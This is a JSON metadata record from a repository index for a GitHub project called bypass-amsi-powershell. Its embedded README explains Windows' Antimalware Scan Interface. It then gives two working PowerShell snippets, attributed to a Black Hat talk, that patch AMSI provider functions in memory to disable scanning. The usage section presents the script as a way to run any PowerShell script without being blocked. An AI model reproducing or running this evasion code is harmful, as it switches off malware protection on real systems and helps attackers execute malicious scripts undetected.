{"id":21143790,"url":"https://github.com/luke-beep/bypass-amsi-powershell","last_synced_at":"2026-04-21T20:33:49.291Z","repository":{"id":65430749,"uuid":"590982844","full_name":"luke-beep/bypass-amsi-powershell","owner":"luke-beep","description":"Anti Malware Scan Interface (DLL) Bypass","archived":false,"fork":false,"pushed_at":"2023-03-03T04:04:24.000Z","size":1104,"stargazers_count":4,"open_issues_count":1,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2026-03-29T01:26:49.765Z","etag":null,"topics":["amsi","amsi-bypass","amsi-patch","antivirus-bypass"],"latest_commit_sha":null,"homepage":"","language":"PowerShell","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/luke-beep.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-01-19T17:02:43.000Z","updated_at":"2026-03-25T07:51:08.000Z","dependencies_parsed_at":"2024-11-20T08:02:03.500Z","dependency_job_id":"9c3ae816-a62f-480a-b1df-5fa6076e8cfc","html_url":"https://github.com/luke-beep/bypass-amsi-powershell","commit_stats":null,"previous_names":[],"tags_count":2,"template":false,"template_full_name":null,"purl":"pkg:github/luke-beep/bypass-amsi-powershell","repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luke-beep%2Fbypass-amsi-powershell","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luke-beep%2Fbypass-amsi-powershell/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luke-beep%2Fbypass-amsi-powershell/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luke-beep%2Fbypass-amsi-powershell/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/luke-beep","download_url":"https://codeload.github.com/luke-beep/bypass-amsi-powershell/tar.gz/refs/heads/main","sbom_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/luke-beep%2Fbypass-amsi-powershell/sbom","scorecard":null,"host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":286080680,"owners_count":32108752,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2026-04-21T11:25:29.218Z","status":"ssl_error","status_checked_at":"2026-04-21T11:25:28.499Z","response_time":128,"last_error":"SSL_connect returned=1 errno=0 peeraddr=140.82.121.5:443 state=error: unexpected eof while reading","robots_txt_status":"success","robots_txt_updated_at":"2025-07-24T06:49:26.215Z","robots_txt_url":"https://github.com/robots.txt","online":false,"can_crawl_api":true,"host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["amsi","amsi-bypass","amsi-patch","antivirus-bypass"],"created_at":"2024-11-20T08:01:21.179Z","updated_at":"2026-04-21T20:33:49.259Z","avatar_url":"https://github.com/luke-beep.png","language":"PowerShell","funding_links":[],"categories":[],"sub_categories":[],"readme":"# bypass-amsi-powershell\n\u003cdiv align=\"center\"\u003e\n\t\u003cbr /\u003e\n\t\u003cp\u003e\n\t\t\u003ca href=\"#\"\u003e\u003cimg src=\"./static/code.png\" width=\"2156\" alt=\"AMSI Architecture\" /\u003e\u003c/a\u003e\n\t\u003c/p\u003e\n\t\u003cp\u003e\n\t\t\u003ca href=\"https://discord.gg/ndjNzKCmff\"\u003e\u003cimg src=\"https://img.shields.io/badge/discord-join-blue?style=flat-square\u0026logo=discord\" alt=\"My Discord server\" /\u003e\u003c/a\u003e\n\t\t\u003ca href=\"https://github.com/luke-beep\"\u003e\u003cimg src=\"https://img.shields.io/badge/github-view-blue?style=flat-square\u0026logo=github\" alt=\"My Github profile\" /\u003e\u003c/a\u003e\n    \u003c/p\u003e\n\u003c/div\u003e\n\n\nAMSI stands for \"Antimalware Scan Interface.\" It is a Microsoft Windows interface that allows antivirus and other security software to scan scripts and other types of content in memory, before they are executed. This allows the security software to detect and prevent the execution of malicious scripts, such as those used by malware or other types of cyber threats. AMSI was introduced in Windows 10 and is also supported in Windows Server 2016 and later versions. This script essentially breaks the AMSI protection by breaking one of the components in the AMSI chain.\n\n- This script can run on any of [these](./static/VERSIONS.md) versions of Windows.\n\n### Usage\n---\n\nSimply download the [script](./script/bypass-amsi.dll.ps1) and run it in powershell. It will automatically bypass AMSI (Antimalware Scan Interface) and allow you to run any powershell script without being blocked by AMSI (Antimalware Scan Interface).\n\n### Why does it work?\n---\n\nBy breaking one of the chains as in this architecture, it allows the script to run without being blocked by AMSI (Antimalware Scan Interface). \n\n\u003ca href=\"#\"\u003e\u003cimg src=\"./static/amsiarch.png\" width=\"540\" alt=\"AMSI Architecture\" /\u003e\u003c/a\u003e \n\n### 1st Method by Maor Korkos\n---\n\n```powershell\nAdd-Type $APIs\n$Patch = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)\n$LoadLibrary = [APIs]::LoadLibrary(\"MpOav.dll\")\n$Address = [APIs]::GetProcAddress($LoadLibrary,\n\"DllGetClassObject\")\n$p = 0\n[APIs]::VirtualProtect($Address, [uint32]6, 0x40, [ref]$p)\n[System.Runtime.InteropServices.Marshal]::Copy($Patch, 0, $Address, 6)\n$object = [Ref].Assembly.GetType('System.Management.Automation.Ams'+'iUtils')\n$Uninitialize = $object.GetMethods(\"NonPublic,static\") | Where-Object Name -eq Uninitialize\n$Uninitialize.Invoke($object,$null)\n```\n- AMSI (Antimalware Scan Interface) Bypass created By Maor Korkos https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf | Page 43\n\n\n### 2nd Method by Maor Korkos\n---\n\n```powershell\n[DllImport(\"amsi\")]\npublic static extern int AmsiInitialize(string appName, out IntPtr context);\n$SIZE_OF_PTR = 4; $NUM_OF_PROVIDERS = 2; $ctx = 0; $p = 0\n$ret_zero = [byte[]] (0xb8, 0x0, 0x00, 0x00, 0x00, 0xC3)\n[APIs]::AmsiInitialize(\"MyAmsiScanner\", [ref]$ctx)\nfor ($i = 0; $i -lt $NUM_OF_PROVIDERS; $i++)\n{\n$CAmsiAntimalware = [System.Runtime.InteropServices.Marshal]::ReadInt32($ctx+8)\n$AntimalwareProvider = [System.Runtime.InteropServices.Marshal]::ReadInt32($CAmsiAntimalware+36\n+($i*$SIZE_OF_PTR))\n$AntimalwareProviderVtbl = [System.Runtime.InteropServices.Marshal]::ReadInt32($AntimalwareProvider)\n$AmsiProviderScanFunc = [System.Runtime.InteropServices.Marshal]::ReadInt32($AntimalwareProviderVtbl+12)\n[APIs]::VirtualProtect($AmsiProviderScanFunc, [uint32]6, 0x40, [ref]$p)\n[System.Runtime.InteropServices.Marshal]::Copy($ret_zero, 0, $AmsiProviderScanFunc, 6)\n}\n```\n\n- AMSI (Antimalware Scan Interface) Bypass created By Maor Korkos https://i.blackhat.com/Asia-22/Friday-Materials/AS-22-Korkos-AMSI-and-Bypass.pdf | Page 51\n\n\n### Showcase\n\n - Showcase of this script in action (old version):\n\n\u003ca href=\"./static/amsibreaktutorial.png\"\u003e\u003cimg src=\"./static/amsibreaktutorial.png\" width=\"2560\" alt=\"Showcase\" /\u003e\u003c/a\u003e\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fluke-beep%2Fbypass-amsi-powershell","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fluke-beep%2Fbypass-amsi-powershell","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fluke-beep%2Fbypass-amsi-powershell/lists"}